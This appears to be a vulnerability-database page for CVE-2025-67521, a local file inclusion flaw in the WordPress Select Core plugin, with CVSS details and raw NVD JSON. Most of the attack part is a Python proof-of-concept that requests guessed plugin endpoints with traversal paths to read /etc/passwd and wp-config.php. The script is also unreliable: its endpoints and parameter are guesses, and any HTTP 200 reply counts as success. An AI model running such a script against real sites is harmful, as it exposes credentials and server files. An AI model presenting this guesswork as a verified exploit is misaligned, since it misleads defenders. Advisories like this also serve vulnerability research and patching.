Security Vulnerability Report
中文
CVE-2025-67521 CVSS 7.5 HIGH

CVE-2025-67521

Published: 2025-12-09 16:18:26
Last Modified: 2026-04-27 18:16:41

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Select Core select-core allows PHP Local File Inclusion.This issue affects Select Core: from n/a through < 2.6.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Select Core < 2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-67521 Local File Inclusion PoC # Target: WordPress Select Core Plugin < 2.6 # Type: Local File Inclusion import requests import sys def test_lfi(target_url, file_path='/etc/passwd'): """ Test for Local File Inclusion vulnerability in Select Core plugin """ # Common vulnerable endpoints in Select Core vulnerable_paths = [ '/wp-content/plugins/select-core/includes/common/front-end-include.php', '/wp-content/plugins/select-core/shortcodes/load.php', '/wp-content/plugins/select-core/lib/common.php' ] # LFI payload - try to include sensitive files payload = file_path for path in vulnerable_paths: url = target_url.rstrip('/') + path params = { 'file': payload # Common parameter name } try: response = requests.get(url, params=params, timeout=10, verify=False) if 'root:' in response.text or response.status_code == 200: print(f'[+] Potential LFI found at: {url}') print(f'[+] File content preview:') print(response.text[:500]) return True except requests.RequestException as e: print(f'[-] Error testing {url}: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-67521.py <target_url>') sys.exit(1) target = sys.argv[1] print(f'[*] Testing {target} for CVE-2025-67521') # Test with common sensitive files test_files = ['/etc/passwd', '../../../../wp-config.php', '/etc/hosts'] for f in test_files: print(f'\n[*] Testing file: {f}') if test_lfi(target, f): break

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67521", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:25.540", "lastModified": "2026-04-27T18:16:40.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Select Core select-core allows PHP Local File Inclusion.This issue affects Select Core: from n/a through < 2.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/select-core/vulnerability/wordpress-select-core-plugin-2-6-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}